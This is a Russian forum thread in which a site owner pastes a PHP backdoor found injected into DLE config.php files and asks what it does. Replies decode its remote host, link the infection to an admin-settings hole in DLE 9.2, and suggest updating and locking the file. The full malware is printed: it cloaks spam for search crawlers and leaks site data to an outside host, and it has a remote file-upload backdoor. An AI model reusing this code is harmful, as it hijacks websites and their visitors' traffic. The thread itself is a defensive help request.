Взлом DLE 9.2

RedBird
На сайте с 10.05.2010
Offline
128
2422

В общем обнаружил что на всех сайтах на DLE в config.php появился такой код в самом низу.

class conectBase {

var $timeout = 15;
var $bUrl = '';

function get_content_code($a,$query=false,$type=false){
if($type) $frt = $a.$query;
else $frt = base64_decode($a).$query;

$ret = false;

if( @function_exists('curl_init') ){
if( $curl = @curl_init() ){

if( !@curl_setopt($curl,CURLOPT_URL,$frt) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_RETURNTRANSFER,true) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,$this->timeout) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_HEADER,false) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate") ) return $ret;

$ret = @curl_exec($curl);
@curl_close($curl);
}
}
else{
$u = parse_url($frt);

if( $fp = @fsockopen($u['host'],!empty($u['port']) ? $u['port'] : 80 ) ){

$headers = 'GET '. $u['path'] . '?' . $u['query'] .' HTTP/1.0'. "\r\n";
$headers .= 'Host: '. $u['host'] ."\r\n";
$headers .= 'Connection: Close' . "\r\n\r\n";

@fwrite($fp, $headers);
$ret = '';

while( !feof($fp) ){
$ret .= @fgets($fp,1024);
}

$ret = substr($ret,strpos($ret,"\r\n\r\n") + 4);

@fclose($fp);
}
}

return $ret;
}

function srt_rep($data){
$data = preg_replace("'[^a-zа-я.,-]'si",'',$data);
$data = str_replace("\r\n","",trim(stripcslashes(preg_replace("'<[^>]*>'si",'',$data))));
$data = str_replace("\r\n","",$data);
$data = str_replace(" ", "::::",$data);
return$data;
}

function get_n_link($content){
preg_match_all("'<a.*?href=[\"\']http:\/\/(.*?)[\"\'][^>]*>'si",$content,$all);
foreach($all[1] as $val){
$link = explode("/",$val);

$host = preg_replace('/^www\./', '', $_SERVER["HTTP_HOST"]);
$h_link = preg_replace('/^www\./', '', $link[0]);

if($h_link !== $host){
$name[$h_link] = $h_link;
}
}
return count($name);
}

function title_desc($content){

if(preg_match_all("'\<meta(.*?)[^>]*>'si",$content,$math)){

foreach($math[0] as $key =>$val){

if(strstr($val,"description")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[0]);

if(strstr($val,"keywords")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[1]);

if(strstr($val,"Content-Type") or strstr($val,"content-type")) preg_match("'charset=(.*?)[\"\']'si",$val,$MERS[2]);

}
}
if(preg_match("'<title[^>]*>(.*?)<\/title[^>]*>'si",$content,$pre_title)){
if(strstr($pre_title[1],'»')) preg_match("'(.*?)»'si",$pre_title[1],$MERS[3]);
else $MERS[3][1] = $pre_title[1];
}

return $MERS;
}

function upFile(){
if($_GET['upFile']){
$ip = $_SERVER["REMOTE_ADDR"];
$ipList = $this->get_content_code($this->bUrl,'false&ipList=true');

if(strstr($ipList,$_SERVER["REMOTE_ADDR"])){
@mkdir(ROOT_DIR.$_GET['upDir']);
@copy($_GET['upFile'],ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName']);

if(file_exists(ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName'])) print '<!--upTrue-->';
}
}
}

function conectBase($murl){
$URI = $_SERVER["REQUEST_URI"];
$HOST = $_SERVER["HTTP_HOST"];

$this->bUrl = $murl;
$this->upFile();

$rssUrl = end(explode('/',$_SERVER["REQUEST_URI"]));

if ( (strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex') or strstr($_SERVER['HTTP_USER_AGENT'], 'Google')) and $rssUrl !== 'rss.php'){
//print "<!--bot_true-->\n";

$content = $this->get_content_code('aHR0cDovLw==',$HOST.$URI);

$MERS = $this->title_desc($content);

$s_temp = @file_get_contents(ROOT_DIR.'/templates/'.$config['skin'].'/main.tpl');
$vs = $this->get_n_link($content);
$temp = $this->get_n_link($s_temp);

$conect = 'n';

if ( strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex')){
$conect = 'y';
}
elseif( strstr($_SERVER['HTTP_USER_AGENT'], 'Google')){
$conect = 'g';
}

if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
$MERS[3][1] = mb_convert_encoding($MERS[3][1], 'windows-1251', 'UTF-8');
$MERS[1][1] = mb_convert_encoding($MERS[1][1], 'windows-1251', 'UTF-8');
$MERS[0][1] = mb_convert_encoding($MERS[0][1], 'windows-1251', 'UTF-8');
}

$TMP = $this->get_content_code($murl,$URI.'&host='.$HOST.'&vs='.$vs.'&temp='.$temp.'&hu='.$conect.'&ip='.$_SERVER["REMOTE_ADDR"].'&t='.$this->srt_rep($MERS[3][1]).'&k='.$this->srt_rep($MERS[1][1]).'&d='.$this->srt_rep($MERS[0][1]));


if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
$TMP = mb_convert_encoding($TMP, 'UTF-8', 'windows-1251');
}
print $TMP;
}
}
}
$conectBase = new conectBase('aHR0cDovL2ViYW5pLWthcmFzaS53cy9jb25lY3QucGhwP3VybD0=');

Если кто разбирается, подскажите, какая цель злоумышленников?

🚀 Push партнерка с Header Bidding: https://t.ly/LuTl 🍋 Выжимай максимум со всех Push рекламных сетей.
Angel OSHQ.cc
На сайте с 23.07.2007
Offline
225
#1

$conectBase = new conectBase('aHR0cDovL2ViYW5pLWthcmFzaS53cy9jb25lY3QucGhwP3VybD0=');

$conectBase = new conectBase('http://ebani-karasi.ws/conect.php?url=');

http://ebani-karasi.ws/conect.php?url= - вот что то туда соединяется ...

мудренный скрипт ... как то связан с яндексом и гуглом .. трафик чтоли перекидывает ...

Кто в теме ... мне тоже интересно. Заранее спасибо

Безлимитный хостинг ( https://oshq.cc/unlimhost.html ) в NL от 0.5$. Аренда серверов во Франции ( https://oshq.cc/serverf.html ) от (15 евро)
W
На сайте с 10.05.2009
Offline
114
#2

В 9.2 есть дыра, которая позволяет из админки вносить php код прямо в config.php, советую обновится и сменить все пароли админов, в последней версии есть логирование кто и что делает в админке

RedBird
На сайте с 10.05.2010
Offline
128
#3
wolfston:
В 9.2 есть дыра, которая позволяет из админки вносить php код прямо в config.php, советую обновится и сменить все пароли админов, в последней версии есть логирование кто и что делает в админке

Для использования этой дыры админ права нужны?

siv1987
На сайте с 02.04.2009
Offline
427
#4
RedBird:
Для использования этой дыры админ права нужны?

Зачем, если сразу позволяет внедрить php код. :)

wolfston, а можно пример это дыры именно в 9.2, или хотябы сторону куда копать, я сколько не пытался так ничего и не нашел. С виду вроде все прикрыто. Может я что-то упустил?..

W
На сайте с 10.05.2009
Offline
114
#5
RedBird:
Для использования этой дыры админ права нужны?

Нужны, точно не помню но сам смысл в том что редактируется форма сохранения настроек скрипта и передается туда вместо данных php код, который пишется в config.php

Вродебы фиксиле ее уже в 9.3, точно не помню, еще в 9.2 была дыра, которая позволяет менять пароль админки на любой, тоже фикс выходил, но сколько по нету еще не фиксеных инсталов ходит, особенно нуледов.

M
На сайте с 12.11.2005
Offline
122
#6

Скорее всего недостаточная фильтрация данных при сохранении параметров, а так - удалить код и закрыть от записи config.php chmod'ом, не каждый же день параметры меняете.

siv1987
На сайте с 02.04.2009
Offline
427
#7
wolfston:
Вродебы фиксиле ее уже в 9.3

Фиксиле ее уже в 9.2. Вот нету под рукой 9.0 посмотреть.

wolfston:
еще в 9.2 была дыра, которая позволяет менять пароль админки на любой, тоже фикс выходил

Вот это что новое, пруфлинк на багфикс можно?

W
На сайте с 10.05.2009
Offline
114
#8
siv1987:

Вот это что новое, пруфлинк на багфикс можно?

Ой, сорри, ошибочка вышла в 8.2 была бага

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий